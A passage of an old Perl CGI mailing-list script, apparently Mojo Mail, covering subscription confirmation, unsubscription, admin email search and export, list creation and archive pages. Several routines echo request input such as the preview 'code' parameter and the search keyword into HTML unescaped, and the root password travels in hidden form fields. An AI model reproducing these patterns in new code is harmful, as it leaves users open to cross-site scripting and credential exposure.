user_error(-List => $list, -Error => "email_in_list", -Email => $email) if($doubled_email >= 1);
user_error(-List => $list, -Error => 'closed_list', -Email => $email) if ($list_info{closed_list} eq "1"); 
# wow, that was ALOT of checks, simple thing huh? heh... 
                              
######################################################################
#sign up the bad boy, if they don't want confirm emails

if($list_info{no_confirm_email}  eq "0"){ 

   $pin = make_pin(-Email => $email);  
   &confirm; 
   exit; 
   }
   
my $Body = $list_info{confirmation_message}; 

# js - escape the listname for the url 
my $escaped_list = uriescape($list); 


my $subscribe_link = subscribe_link(-list     => $list,
									-email    => $email,
									-make_pin => 1);

my $unsubscribe_link = unsubscribe_link(-list     => $list,
									  -email    => $email,
									  -make_pin => 1);
									

$Body =~ s/\[list_subscribe_link\]/$subscribe_link/g; 
$Body =~ s/\[list_unsubscribe_link\]/$unsubscribe_link/g; 

$Body = interpolate_string(-String      => $Body, 
						   -List_Db_Ref => \%list_info, 
						   -Email       => $email);							
require MOJO::Mail;  
my $mh = MOJO::Mail -> new(\%list_info); 
my %mailing = (
'Content-Type'  => $list_info{content_type},
To              => $email, 
Subject         => "$list_info{list_name} Mailing List Confirmation", 
Body            => $Body);

$mh->send(%mailing); 

print header(); 
print(the_html(-Part  => "header",
               -Title => "please confirm",
               -List  => $list_info{list}));
               
$list_info{html_confirmation_message} =~ s/\[subscriber_email\]/$email/g; 
print $list_info{html_confirmation_message}; 

print(the_html(-Part      => "footer", 
               -List      => $list_info{list},
               -Site_Name => $list_info{website_name}, 
               -Site_URL  => $list_info{website_url}));
exit; 

}else{ 

#danger! will robinson! 
# (arms flailing)
&default; exit; 
}
}

sub subscribe_flash_xml { 

	if($q->param('test') == 1){ 
		print header('text/plain'); 
	}else{ 
		print $q->header('application/x-www-form-urlencoded'); 
	}
	
	my $lh = MOJO::List->new(-List => $list); 
	my ($xml, $status, $errors) =  $lh->subscription_check_xml(-Email => $email); 
	print $xml;

	if($status == 1){ 
#---------------------------------------------------------------------#

		#database is opened for that list
		my %list_info = open_database(-List => $list, -Format => "replaced");
		my $lh = MOJO::List->new(-List => $list, -Path => $FILES);
		
		
		if($list_info{no_confirm_email}  eq "0"){ 	
		   $pin = make_pin(-Email => $email);  
		   confirm('no'); 
		   exit; 
	   }
		  
		my $Body = $list_info{confirmation_message}; 
		
		# js - escape the listname for the url 
		my $escaped_list = uriescape($list); 
		
		
		my $subscribe_link = subscribe_link(-list     => $list,
											-email    => $email,
											-make_pin => 1);
		
		my $unsubscribe_link = unsubscribe_link(-list     => $list,
											  -email    => $email,
											  -make_pin => 1);
											
		
		$Body =~ s/\[list_subscribe_link\]/$subscribe_link/g; 
		$Body =~ s/\[list_unsubscribe_link\]/$unsubscribe_link/g; 
		
		$Body = interpolate_string(-String      => $Body, 
								   -List_Db_Ref => \%list_info,
								   -Email       => $email);							
		require MOJO::Mail;  
		my $mh = MOJO::Mail -> new(\%list_info); 
		my %mailing = (
		'Content-Type'  => $list_info{content_type},
		To              => "$email", 
		Subject         => "$list_info{list_name} Mailing List Confirmation", 
		Body            => $Body);
		
		$mh->send(%mailing); 
	}
}


sub send_unsubscription_email{ 

my %args = (-Path      => $FILES, 
            -List      => undef,
            -Email     => undef,
            -List_Info => undef,
            @_);

my $db_list_ref = $args{-List_Info}; 
my %list_info   = %$db_list_ref; 
my $pin = make_pin(-Email => $email); 

# js - escape the listname for the url 
my $escaped_list = uriescape($list);

my $subscribe_link = subscribe_link(-list     => $list,
									-email    => $email,
									-make_pin => 1);

my $unsubscribe_link = unsubscribe_link(-list     => $list,
									  -email    => $email,
									  -make_pin => 1);

my $Body = $list_info{unsubscribed_message}; 
   $Body =~ s/\[list_unsubscribe_link\]/$unsubscribe_link/g; 
   $Body =~ s/\[list_subscribe_link\]/$subscribe_link/g; 
   $Body = interpolate_string(-String      => $Body, 
   							  -List_Db_Ref => \%list_info,
   							  -Email       => $email);
					       
require MOJO::Mail;  
my $mh = MOJO::Mail -> new(\%list_info); 
my %mailing = (
'Content-Type'   =>   $list_info{content_type},
 To              =>   "$email", 
Subject         =>   "$list_info{list_name} Unsubscription", 


 Body            =>    $Body);
 
$mh -> send(%mailing); 
}




sub unsub_confirm { 

my $email       = shift; 
my $db_list_ref = shift; 
my %list_info   = %$db_list_ref; 

my $pin = make_pin(-Email => $email); 
#everything bogus should have been seen before...
 
# js - escape the listname for the url 
my $escaped_list = uriescape($list); 


my $subscribe_link = subscribe_link(-list     => $list,
									-email    => $email,
									-make_pin => 1);

my $unsubscribe_link = unsubscribe_link(-list     => $list,
									  -email    => $email,
									  -make_pin => 1);
									  
									  
my $Body = $list_info{unsub_confirmation_message}; 
   $Body =~ s/\[list_unsubscribe_link\]/$unsubscribe_link/g; 
   $Body =~ s/\[list_subscribe_link\]/$subscribe_link/g; 
   $Body = interpolate_string(-String      => $Body, 
   							  -Email       => $email,
   							  -List_Db_Ref => \%list_info);
					       

require MOJO::Mail;  
my $mh = MOJO::Mail -> new(\%list_info); 
my %mailing = (
'Content-Type'  =>    $list_info{content_type},
To              =>    "$email", 
Subject         =>    "$list_info{list_name} Mailing List Confirmation", 
Body            =>    $Body);

$mh -> send(%mailing); 


print header(); 
print(the_html(-Part  => "header",
               -Title => "please confirm",
               -List  => $list_info{list}));

$list_info{html_unsub_confirmation_message} =~ s/\[subscriber_email\]/$email/g; 
print $list_info{html_unsub_confirmation_message}; 

print(the_html(-Part      => "footer", 
               -List      => $list_info{list},
               -Site_Name => $list_info{website_name},
               -Site_URL  => $list_info{website_url}));
exit; 
 
}




sub unsubscribe { 

my %default_list; 
my $default_exists = check_if_list_exists(-List=>$DEFAULT_LIST);

if($DEFAULT_LIST ne "" && $default_exists >= 1){ 
	%default_list = open_database(-List =>$DEFAULT_LIST); 
}

if(defined($list)) { 
	my ($list_exists) = check_if_list_exists(-List=>$list,);
	if ($list_exists == 0) {user_error(-List => $list, -Error => "no_list", -Email => $email)}
		if($list eq "") {
			user_error(-List => $list, -Error => "no_list", -Email => $email)
		}
	} 

if(defined($email)){ 
	my ($invalid_email) = check_for_valid_email($email);
} 

my %list_info = open_database(-List => $list, -Format => "replaced"); 
my $lh        = MOJO::List->new(-List => $list, -Path => $FILES);

if(defined($email) && $email ne "") { 
    my $in_list = $lh->check_for_double_email(-List => $list, -Email => $email);								
	# make a pin if we need to.
	unless(defined($pin)){ 
		if($list_info{unsub_confirm_email} ne "1"){ 
			$pin = make_pin(-Email => $email);
		}else{ 
			if ($in_list == 0){
				user_error(-List  => $list, 
						   -Error => "email_not_in_list", 
						   -Email => $email); 
			}
			unsub_confirm($email, \%list_info); 
			exit; 
		}                             
	}  

my $invalid_pin = &check_email_pin(-Email => $email, -Pin => $pin);

if($in_list >= 1){ 
	my $rm_status = $lh->remove_from_list(-Email_List =>[$email],-List => $list);
	user_error(-List => $list, -Error => 'no_list', -Email => $email)   if $rm_status eq 'no list'; 
	user_error(-List => $list, -Error => 'too_busy', -Email => $email)  if $rm_status eq 'too busy'; 

	# if black listing is turn on, and we're supposed to move the e-mail address over, 
	# we better do it. 

	if(($list_info{black_list} eq "1")  and ($list_info{add_unsubs_to_black_list} eq "1")){
		$lh->add_to_email_list(-Email_Ref => [$email], 
						  -List      => $list, 
						  -Type      => 'black_list');
	}


send_owner_happenings("unsubscribed"); 
send_unsubscription_email(-List =>   $list,
                        -Email => $email,
                        -List_Info => \%list_info);    
   
print header();
print(the_html(-Part  => "header",
               -Title => "unsubscription successful",
               -List  => $list)); 

$list_info{html_unsubscribed_message} =~ s/\[subscriber_email\]/$email/g; 
print $list_info{html_unsubscribed_message};

print(the_html(-Part => "footer",
               -List => $list,
               -Site_Name => $list_info{website_name},
               -Site_URL  => $list_info{website_url})); 
 
}elsif($invalid_pin >= 1) {
      user_error(-List => $list, -Error => "invalid_pin", -Email => $email)
}elsif($in_list == 0){
	user_error(-List => $list, -Error => "email_not_in_list", -Email => $email);
}
}else{ 

print header();
print(the_html(-Part  => "header",
               -Title => "unsubscribe to $list_info{list_name}",
               -List  => $list_info{list}));
               
print h3("Enter your email address");
if(defined($list) && $list ne ""){ 
print p("To unsubscribe from $list_info{list_name}, please enter your email address below:\n");
}

print hidden('flavor', 'unsubscribe'); 

if(defined($list)) { 
    print hidden('list', $list); 
}else{ 
    my ($available_lists_ref) = available_lists(-As_Ref =>1);
    print p("What list do you want to unsubscribe from?");
    require MOJO::Widgets; 
	print MOJO::Widgets::list_popup_menu(-show_hidden => 1); 
} 

print <<EOF
<input type="text" name=email>
<input type=submit style='$STYLE{default_submit}' value="unsubscribe"> 
EOF
; 
 
print(the_html(-Part      => "footer", 
			   -List      => $list,
			   -Site_Name => $list_info{website_name},
			   -Site_URL  => $list_info{website_url}));  
		}
}




sub confirm { 

my $display_html = shift || 'yes';

#check to see the pinis alright
my ($invalid_pin) = check_email_pin(-Email => $email, -Pin => $pin);
if ($invalid_pin >= 1) {user_error(-List => $list, -Error => "invalid_pin", -Email => $email)}


#open the database
my %list_info = open_database(-List => $list, -Format => "replaced"); 
my $lh = MOJO::List->new(-List => $list, -Path => $FILES);

if($list_info{black_list} eq "1") {                               
my $banned_email = $lh->check_for_double_email( 
                             -List  => $list, 
                             -Email => $email,
                             -Type  => "black_list");

unless($list_info{allow_blacklisted_to_subscribe} eq "1"){  
		user_error(-List => $list, -Error => "black_listed", -Email => $email) if($banned_email >= 1); 
	}
}



#check to see they didn't try to confirm twice
my $doubled_email = $lh->check_for_double_email(-List  => $list, -Email => $email
                             );
if($doubled_email >= 1){user_error(-List => $list, -Error => "email_in_list", -Email => $email)}
#check to see if there is a list by that name 
my $list_exists = check_if_list_exists(-List=>$list);
if ($list_exists == 0) {user_error(-List => $list, -Error => "no_list", -Email => $email)}

user_error(-List => $list, -Error => "closed_list", -Email => $email) if ($list_info{closed_list} eq "1"); 

# js - lowercase domain part of the email
$email = lc_email($email); 

$lh->add_to_email_list(-List => $list,-Email_Ref => [$email]); 

make_pin(-Email => $email);

my $Body = $list_info{subscribed_message};
# js - escape the listname for the url 
my $escaped_list = uriescape($list);

my $subscribe_link = subscribe_link(-list     => $list,
									-email    => $email,
									-make_pin => 1);

my $unsubscribe_link = unsubscribe_link(-list     => $list,
									    -email    => $email,
									    -make_pin => 1);

$Body =~ s/\[list_unsubscribe_link\]/$unsubscribe_link/g; 
$Body =~ s/\[list_subscribe_link\]/$subscribe_link/g; 
$Body = interpolate_string(-String      => $Body,
						   -List_Db_Ref => \%list_info,
						   -Email       => $email,
						   );
					       					       
require MOJO::Mail;  
my $mh = MOJO::Mail -> new(\%list_info); 
my %mailing = (
'Content-Type'    => $list_info{content_type},
 To               => "\"New Subscriber\" <$email>", 
 Subject          => "Welcome to $list_info{list_name}", 

 Body             => $Body);
 
$mh -> send(%mailing); 

send_owner_happenings("subscribed"); 


if($display_html eq 'yes'){ 	
	print header();
	print(the_html(-Part  => "header",
				   -Title => "subscription successful",
				   -List => $list_info{list}));
	
	$list_info{html_subscribed_message} =~ s/\[subscriber_email\]/$email/g; 
	
	print $list_info{html_subscribed_message}; 
	
	print(the_html(-Part => "footer", 
				   -List => $list_info{list},
				   -Site_Name => $list_info{website_name},
				   -Site_URL  => $list_info{website_url}));
	}
}

sub all_list_code { 

	print header();	
	my $available_lists_ref = available_lists(-As_Ref=>1);

	if ($available_lists_ref->[0] ne undef) { 
		print qq{ 
		<form action=$MOJO_URL method=POST>
		 <table border=0 width=400 celpadding=5 cellspacing=0> 
		  <tr>
		  <td> 
		  <p>Choose a list: </p>
		 </td>
		  <td width="200">
		   <p>Enter your e-mail address:</p>
		  </td>
		 </tr>
		 <tr> 
		  <td width="200" valign="top">
		   <input type=hidden name=flavor value="subscribe"> 
			
		}; 
		
		require MOJO::Widgets; 
		print MOJO::Widgets::list_popup_menu(); 
		
		print qq{
		
			   </td>
			   <td width="200"> 
			  <input type="text" name="email" size="15">
			  <nobr>
			  <input type="submit" value="signup">
			  </td>
			 </tr>
			</table> 
		   </form>   
		};
		}else{ 
			print p('There are no lists available right now.'); 
		}
	}


sub search_email { 


my $root_login = check_list_security(-Admin_List      => $admin_list, 
									 -Admin_Password  => $admin_password,
									 -IP_Address      => $ENV{REMOTE_ADDR},
									 -Function        => 'search_email');

my $method  = $q->param("method"); 

$list = $admin_list; 
my %list_info =  open_database(-List => $list); 

my $lh = MOJO::List->new(-List => $list, -Path => $FILES);

# my $any_subscribers = -s "$FILES/$list.list";
# debug
my $any_subscribers = 1;


unless($any_subscribers > 0){ 

print(admin_html_header(-Title      => "Search E-mails", 
                        -List       => $list_info{list},
                        -Root_Login => $root_login));
print $NO_ONE_SUBSCRIBED; 
print(admin_html_footer(-List => $list));
exit; 
}

print(admin_html_header(-Title      => "E-mail Search Results", 
                        -List       => $list_info{list},
                        -Root_Login => $root_login));


if(defined($keyword)){ 
	print "</form><form action=\"$MOJO_URL\"  name=\"email_form\" method=POST>"; 
	print "<input type=hidden name=flavor value=\"checker\">";
if(($list_info{black_list} eq "1")  and ($list_info{add_unsubs_to_black_list} eq "1")){
	print hidden('add_to_black_list',1);
}

my $found =  $lh->search_email_list(-List    => $list, 
								 -Method  => $method, 
								 -Keyword => $keyword); 

if($found == 0) { 
print "Sorry, no matches were found. You may want to try and revise your search</p>\n"; 
}else{ 
print "<p><a href=javascript:SetChecked(1)>check all</a> :: <a href=javascript:SetChecked(0)>uncheck all</a></p>";
print "<input type=submit style='$STYLE{green_submit}' value=\"Delete Checked\">";
			
print "</p><hr noshade size=1>\n"; 
print "<p>A total of <b>",$found,"</b> e-mail addresses were found when searching for <b>\"",$keyword,"\"</b>"; 
print "when using <b>",$method,"</b> search";  

}



print <<EOF  

<hr noshade size=1>
<p>Search Again: <br>
</form><form action=$MOJO_URL>
<input type="hidden" name="flavor" value="search_email"> 
<input type="text" name="keyword" value="$keyword"><input type=submit style='$STYLE{green_submit}' value="Search Again">  

EOF
;

print(admin_html_footer(-List => $list));

}else{ 

print <<EOF 
<p>Search through every e-mail address on your list: <br>
<input type="hidden" name="flavor" value="search_email"> 
<input type="text" name="keyword">
<input type=submit style='$STYLE{green_submit}' value="Search">  
EOF
; 

print(admin_html_footer(-List => $list));
} 
}

sub text_list { 

my $root_login = check_list_security(-Admin_List     => $admin_list, 
									 -Admin_Password => $admin_password,
									 -IP_Address      => $ENV{REMOTE_ADDR},
									 -Function        => 'text_list');

$list = $admin_list; 
my %list_info = open_database(-List => $list); 
my $lh = MOJO::List->new(-List => $list, -Path => $FILES);

my $email; 
print header('text/plain');
print "E-Mail Addresses for list:", $list_info{list_name},"\n"; 
print "=" x 72, "\n"; 
my $email_count =  $lh->print_out_list(-List=>$list); 
print "=" x 72, "\n"; 
print "Total: $email_count \n\n"; 
}





sub send_list_to_admin { 
 

my $root_login = check_list_security(-Admin_List      => $admin_list, 
									 -Admin_Password  => $admin_password,
									 -IP_Address      => $ENV{REMOTE_ADDR},
									 -Function        => 'send_list_to_admin');
$list = $admin_list; 

 my %list_info = open_database(-List => $list); 
 my $email; 
 
 my ($sec, $min, $hour, $day, $month, $year) = (localtime)[0,1,2,3,4,5];
 $year = $year + 1900; 
 $month = $month + 1;  

my $lh = MOJO::List->new(-List => $list);

my $tmp_file = $lh->write_plaintext_list(); 
  

my $message = <<EOF

Attached to this email is the subscriber list for $list_info{list_name} 
as of $month/$day/$year - $hour:$min:$sec. 
 
This was sent to the list owner ($list_info{mojo_email}) from the list control panel.
 
	-$PROGRAM_NAME
EOF
; 
 
require MIME::Lite;
MIME::Lite->quiet(1) if $MIME_HUSH == 1;       ### I know what I'm doing 
$MIME::Lite::PARANOID = $MIME_PARANOID;
 
my $msg = MIME::Lite->new(Type => 'multipart/mixed'); 


$msg -> attach(Type => 'TEXT',  
               Data => $message); 


my $listname  = "$list_info{list}.list"; 


$msg->attach(Type        => 'TEXT', 
             Path        =>  $tmp_file,
             Filename    =>  $listname, 
             Disposition =>  'inline'); 
               
my $msg_headers = $msg->header_as_string();
my $msg_body    = $msg->body_as_string();              

require MOJO::Mail; 
my $mh = MOJO::Mail->new(\%list_info); 

my %mail_headers = $mh->return_headers($msg_headers);
my %mailing = ( 
   %mail_headers, 
    To             =>    "\"$list_info{list_name}\" <$list_info{mojo_email}>", 
    Subject        =>    "$list_info{list_name} subscriber list $month/$day/$year",        
    Body           =>     $msg_body,
    );
    
$mh->send(%mailing); 

unlink($tmp_file);
    
print $q->redirect(-uri => "$MOJO_URL?flavor=view_list");    

} 

sub preview_form { 

my $code = $q->param("code"); 

my $root_login = check_list_security(-Admin_List      => $admin_list, 
									 -Admin_Password  => $admin_password,
									 -IP_Address      => $ENV{REMOTE_ADDR},
									 -Function        => 'preview_form');

print header(); 
       
print <<EOF

<html> 
 <head> 
  <title>Form Preview</title> 
 </head> 
 <body bgcolor=#FFFFFF>
  <center>
   <table width=100% height=100%> 
    <tr>
     <td align=center valign=center> 
      <p>$code</p> 
      <p><a href="javascript:self.close();">close the window</a></p> 
     </td> 
    </tr> 
   </table>
  </center> 
 </body> 
</html> 

EOF
;

}

sub new_list {

require MOJO::Password;  
my $root_password =  $q->param('root_password');
my $agree         = $q->param('agree');

unless(defined($process)) { 

my $errors = shift; 
my $flags = shift; 
my $pw_check;

if(!$MOJO_ROOT_PASSWORD){ 
	user_error(-List => $list, -Error => "no_root_password");
}elsif($ROOT_PASS_IS_ENCRYPTED == 1){ 
	#encrupted password check
	$pw_check = MOJO::Password::check_password($MOJO_ROOT_PASSWORD, $root_password);
}else{ 
	# unencrypted password check
	if($MOJO_ROOT_PASSWORD eq $root_password){$pw_check = 1}
}





#check password
if ($pw_check == 1){

my %default_list; 
my ($default_exists) = check_if_list_exists(-List=>$DEFAULT_LIST,);
if($DEFAULT_LIST ne "" && $default_exists >= 1){ 
	%default_list = open_database(-List =>$DEFAULT_LIST); 
}

my @t_lists = available_lists(); 

$agree = 'yes' if $errors;

if((!$t_lists[0]) && ($agree ne 'yes') && (!$process)){
		print $q->redirect(-uri => "$MOJO_URL?agree=no"); 
}


print header();
print(the_html(-Part  => "header",
               -Title => "Create a New List", 
               -List  => $DEFAULT_LIST));
  
my $smallblue = 'font-family:verdana, arial; font-size:9px;color:#3333CC';

if($errors){ 
my $ending = '';
my $err_word = 'was';
$ending = 's'      if $errors > 1; 
$err_word = 'were' if $errors > 1; 

print "<p style='color:red'><b><i>$errors field$ending  on this form  
       $err_word filled out incorrectly and need to be fixed. 
      Please fix the error$ending to create your new list successfully.</i></b></p>";
}

print h3("Please fill in all the fields to create your new list."); 
print  end_form(), p({-align=>'right'}, 

                 start_form(-action => $MOJO_URL, -method => "POST"), 
                     hidden('help','yes'), 
                     hidden('flavor', 'new_list'), 
                     hidden('root_password', $root_password), 
                     submit(-value => "help!", 
                     		-style => 'font-family:arial;size:10px; background-color:#FFFFFF;font-weight:bold'), 
                     end_form(),
                     
                  ), start_form(-action => $MOJO_URL, -method => "POST")
          
			if(!defined($help));   
       print p('All information, except the list\'s short name, may be changed at a later time.');
       print start_form(-action=>$MOJO_URL, -method=>'POST'), 
             hidden('flavor','new_list'), 
             hidden('process', 'true'),
             hidden('root_password', $root_password );  



####################################################################
# List Name Help

print p({-style => $smallblue}, 
        "The name of your list is what people and $PROGRAM_NAME will 
         use to tell other lists apart.")
         if($help);   
         
#list with quotes
print '<p class=smallred><i>You did not fill in a  list name</i></p>' 
	if($flags->{list_name} == 1);
	

print p('What is the list\'s name? You can change this name any time you would like.', br(), 
        textfield(-name =>'list_name', -value=>$list_name, -size => 30)); 


# List short name  Errors
####################################################################
# already exists

print '<p class=smallred><i>This list short name already exists</i></p>' 
	if($flags->{list_exists} == 1);

# do list name

print '<p class=smallred><i>You need to give your list a short name</i></p>'
	 if($flags->{list} == 1);

# bad characters
print '<p class=smallred><i>Your list short name can\'t have slashes (&quot;/&quot; or &quot;\&quot;) in the name itself</i></p>' 
	if($flags->{slashes_in_name} == 1);

# weird characters
print '<p class=smallred><i>Your list short name appears to have weird characters in the name, that may create problems</i></p>' 
	if($flags->{weird_characters} == 1);

#list with quotes
print '<p class=smallred><i>Your list short name cannot contain quotes</i></p>' 
	if($flags->{quotes} == 1);
		        
print p("What is the list's 'short' name? ", br(), "The list short name will be used 
         internally by $PROGRAM_NAME and will also be used for subscription/unsubscription
         links, filename and perhaps email addresses. It is suggested that you make this
         short name", b('lowercase,'), "no more than 8 characters and using only alpha/numerical characters ", br(), 
        textfield(-name =>'list', -value=>$list, -size => 8)); 
                
print '<hr noshade width=66% size=1 color=black>'; 

# Password Errors
####################################################################
# no passwd
print '<p class=smallred><i>You need to give your list a password</i></p>' 
	if($flags->{password} == 1);

####################################################################
# Password Help

print p({-style => $smallblue}, 
        'A list password is used to protect your list and its 
        subscribers. You\'ll need to remember this password when 
        you log into your list control panel - the place where you 
        can set list options and also send list messages. Please make 
        your password hard to guess, using upper and lower case letters
        mixed with numbers. The list password should be no more than 8 characters long')
        if($help); 
        
print p('Please make a password to protect your list:', br(),  
         password_field(-name => 'password', -value=>$password, -size => 8)); 

# Password Errors
####################################################################
print '<p class=smallred><i>You need to retype your list password</i></p>' 
	if($flags->{retype_password} == 1);
	
print '<p class=smallred><i>The second password doesn\'t match the first password</i></p>' 
	if($flags->{password_ne_retype_password} == 1);
	
print p('Re-type the password to confirm:', br(), 
      password_field(-name => 'retype_password', -value=>$retype_password, -size => 8)); 

print '<hr noshade width=66% size=1 color=black>'; 

# List Owner Errors
####################################################################
print '<p class=smallred><i>You need to give a valid e-mail address for the list owner</i></p>' 
	if($flags->{invalid_mojo_email} == 1);
	
print p({-style => $smallblue}, 
 		"The List Owner is the person in charge of the list. 
 		 Their email will be used for every message sent by $PROGRAM_NAME
 		 when working with your list.")
 		 if($help); 

print p('What  e-mail address corresponds to the list owner?,
        When e-mails are sent, they are sent using this address.', br(),
        textfield(-name=>'mojo_email', -value => $mojo_email, -size=>30));

print '<hr noshade width=66% size=1 color=black>';  

# Description  Errors
####################################################################
print '<p class=smallred><i>You need to give your list a description</i></p>' 
	if($flags->{list_info} == 1);

print p({-style => $smallblue}, 
		"A description of your list will tell would-be subscribers 
		 what your list is about. This information will be shown on the 
		 $PROGRAM_NAME main screen, as well as in confirmation emails sent 
		 to people wishing to subscribe.")
		 if($help); 
		 
print p('Please write a brief description of your list:', br(),
     textarea(-name=>"info", -value=>$info, -cols=>"33", -rows=>"4", -wrap=>"VIRTUAL"));
     
print '<hr noshade width=66% size=1 color=black>';  
print "<center> 
<p><input type='submit' style='$STYLE{green_submit}' value='    Create Your Mailing List    '></p> 
</center>
</form>
<p>";

print(the_html(-Part       => "footer",
               -List       => $DEFAULT_LIST,
               -Site_Name  => $default_list{website_name},
                -Site_URL  => $default_list{website_url}));

}else{
	user_error(-List => $list, -Error => "invalid_root_password");
}

}else{


chomp($list); 
$list =~ s/^\s+//;
$list =~ s/\s+$//; 
$list =~ s/ /_/g;
my ($list_exists) = check_if_list_exists(-List=>$list);
my ($list_errors,$flags) = check_list_setup(-fields => {list            => $list, 
													    list_name       => $list_name, 
														mojo_email      => $mojo_email, 
													    password        => $password, 
													    retype_password => $retype_password, 
													    info		    => $info,
													    }); 

if($list_errors >= 1){
undef($process);
new_list($list_errors, $flags);

}elsif($list_exists >= 1){
	&user_error(-List => $list, -Error => "list_already_exists");
}else{

$admin_email = $mojo_email if ($admin_email eq ""); 


# js - lowercase domain part of the email
$admin_email = lc_email($admin_email);
$mojo_email  = lc_email($mojo_email);
$password    = MOJO::Password::encrypt_passwd($password); 

my %new_info = ( 
 mojo_email       =>   $mojo_email,
 admin_email      =>   $admin_email,
 list             =>   $list, 
 list_name        =>   $list_name,
 password         =>   $password,
 info             =>   $info, 
 private_policy   =>   $private_policy);

%new_info = (%new_info, %LIST_SETUP_DEFAULTS);

my $status = setup_list(\%new_info);
             user_error(-List => $list, -Error => "no_permissions_to_write") if $status == 0; 

unless($MAKE_ALL_LIST_FILES == 0) { 
	make_all_list_files(-List => $list);
}

my %default_list; 
my ($default_exists) = check_if_list_exists(-List=>$DEFAULT_LIST,);
if($DEFAULT_LIST ne "" && $default_exists >= 1){ 
	%default_list = open_database(-List =>$DEFAULT_LIST); 
}

require MOJO::Log;
my $log = new MOJO::Log;
   $log->mj_log($list, 'List Created', "remote_host:$ENV{REMOTE_HOST}, ip_address:$ENV{REMOTE_ADDR}") if $LOG{list_lives};     
				
print header(); 
print(the_html(-Part  => "header",
               -Title => "Your new list has been created",
               -List  => $DEFAULT_LIST));
 
print h3("The following information was recorded:"); 
my %list_info = open_database(-List => $list); 

print "<table border=0 align=center>\n"; 
print Tr(td([p('List Name:'),                         p($list_info{list_name})])),         "\n";
print Tr(td([p('List Owner E-mail Address:'),         p($list_info{mojo_email})])),     "\n";
print Tr(td([p('List Information:'),                  p($list_info{info})])),           "\n";
print "</table>\n";

my $escaped_list = uriescape($list); 

print <<EOF  
<p>Please log in,  with the correct password to access your control panel.</p>
 <table border=0> 
  <tr> 
   <td> 
    <p><b>Log into your control panel for list: $list_info{list_name}</b></p> 
   </td> 
  </tr> 
  <tr> 
  <td> 
   <p>password:<br> 
    <input type="hidden" name=flavor value="login">
    <input type="password" name="admin_password"><nobr>
    <input type="hidden" name="admin_list" value="$list_info{list}"> 
    <input type="submit" style='$STYLE{default_submit}' value="login"> 
   </td> 
  </tr> 
 </table> 
 
<hr noshade size=1 width=66% color=black align=center> 
<p>For future reference, here are some relevent URL's for this list, 
you may want to bookmark these links, a new window will open for each link:<br>
<b><a href=$MOJO_URL?flavor=sign_in&list=$escaped_list target=out>Sign in to your control panel</a></b><br> 
<b><a href=$MOJO_URL?flavor=archive&list=$escaped_list target=out2>View your message archives</b></a></p> 

EOF
;

print(the_html(-Part      => "footer",
               -List      => $DEFAULT_LIST,
               -Site_Name => $default_list{website_name},
               -Site_URL  => $default_list{website_url}));

}
}
}




sub archive { 

# are we dealing with a real list?
my $list_exists = check_if_list_exists(-List=>$list);
    user_error(-List => $list, -Error => 'no_list') if ($list_exists == 0); 

# start variable, 
# where do we start the list? 
my $start = $q->param('start') || 0;
my %list_info =  open_database(-List => $list);

# are we even supposed to do this? 
user_error(-List => $list, -Error => "no_show_archives") if ($list_info{show_archives} eq "0");

# fetch archive functions
require MOJO::Archive; 
my $archive = MOJO::Archive->new(-List => \%list_info); 
my $entries = $archive->get_archive_entries(); 
   
# If we don't have an explicit message to look at, 
# print an index.

unless(defined($id)){

print header(); 
print(the_html(-Part  => "header",
               -Title => "$list_info{list_name} archives", 
               -List  => $list_info{list}));
print "<blockquote>"; 

#get the params we're supposed to write the list to and from
my ($begin, $stop) = $archive->create_index($start);
my $i;
my $stopped_at = $begin;
my $num = $begin;

$num++; 
my @archive_nums; 
my @archive_links; 

# iterate and save
for($i = $begin; $i <=$stop; $i++){ 
my $link; 

	
	if(defined($entries->[$i])){
	
	my ($subject, $message, $format) = $archive->get_archive_info($entries->[$i]); 
    my $pretty_subject = pretty($subject);

	$link.= "&nbsp;<a href=$MOJO_URL?flavor=archive&id=$entries->[$i]&list=$list>$pretty_subject</a></b><br>"; 
	my $date = date_this(-Packed_Date   => $entries->[$i],
	                     -Write_Month   => $list_info{archive_show_month},
	                     -Write_Day     => $list_info{archive_show_day},
	                     -Write_Year    => $list_info{archive_show_year},
	                     -Write_H_And_M => $list_info{archive_show_hour_and_minute},
	                     -Write_Second  => $list_info{archive_show_second});
	                                
	$link .=  "<i>Sent $date </i>\n"; 
	$link .= "</p>\n"; 
	
$stopped_at++;
push(@archive_nums, $num); 
push(@archive_links, $link); 
$num++;


}
} 
       
my $ii; 
for($ii=0;$ii<=$#archive_links; $ii++){ 

	my $bullet = $archive_nums[$ii];
	#fix if we're doing reverse chronologic 
	$bullet = (($#{$entries}+1) - ($archive_nums[$ii]) +1) if($list_info{sort_archives_in_reverse} eq "1");

	print "<p><b>$bullet $archive_links[$ii]\n"; 
 
}

print "</blockquote>"; 

print $archive->create_index_nav($list_info{list}, $stopped_at);

}else{ 

my $entry_exists = $archive -> check_if_entry_exists($id); 
user_error(-List => $list, -Error => "no_archive_entry")if($entry_exists <= 0); 

print header(); 
print(the_html(-Part  => "header",
               -Title => "$list_info{list_name} archives", 
               -List  => $list_info{list}));

#get the archive info 
my ($subject, $message, $format) = $archive->get_archive_info($id); 

my $zap_sig = $list_info{stop_message_at_sig} || 1;

$message = $archive->zap_sig($message) if ($list_info{stop_message_at_sig} ne "0");
$message = webify_plain_text($message) if($format !~ /HTML/i);

my $pretty_subject = pretty($subject);  
print"<h3>$pretty_subject</h3>";
print"<p>$message</p>";

}


if(($list_info{archive_send_link} == 1) && (defined($id))){ 
	print archive_send_link($list,$id);
}

 
if(defined($id)){ 
	print $archive -> make_nav_table(-Id => $id, -List => $list_info{list}); 
}


if($list_info{archive_search_form} eq "1"){
	my $search_form =  $archive -> make_search_form($list_info{list}); 
	print $search_form; 
}
 
print "<hr noshade width=66% size=1 color=black>";

if($list_info{hide_list} ne "1"){   
  $list_info{info} =~ s/\n\n/<p>/gi; 
  $list_info{info} =~ s/\n/<br>/gi; 


#my $show_subscribe_form = $list_info{archive_subscribe_form} || 1;

unless ($list_info{archive_subscribe_form} eq "0"){ 
 print "<p>",$list_info{info},"</p>\n"; 
 print "<p><b>Subscribe</b> to ",$list_info{list_name},":<br>\n";
 print subscribe_form($list_info{list});
}

}


print(the_html(-Part      => "footer",
               -List      => $list_info{list},
               -Site_Name => $list_info{website_name},
               -Site_URL  => $list_info{website_url}));
}


sub search_archive { 

$list =  $q->param("list"); 

my $list_exists = check_if_list_exists(-List=>$list);
   &user_error(-List => $list, -Error => "no_list") if ($list_exists <=0); 


my %list_info =  open_database(-List => $list);


user_error(-List => $list, -Error => "no_show_archives") if ($list_info{show_archives} eq "0");

# let's get some info on this archive, shall we? 
require MOJO::Archive; 
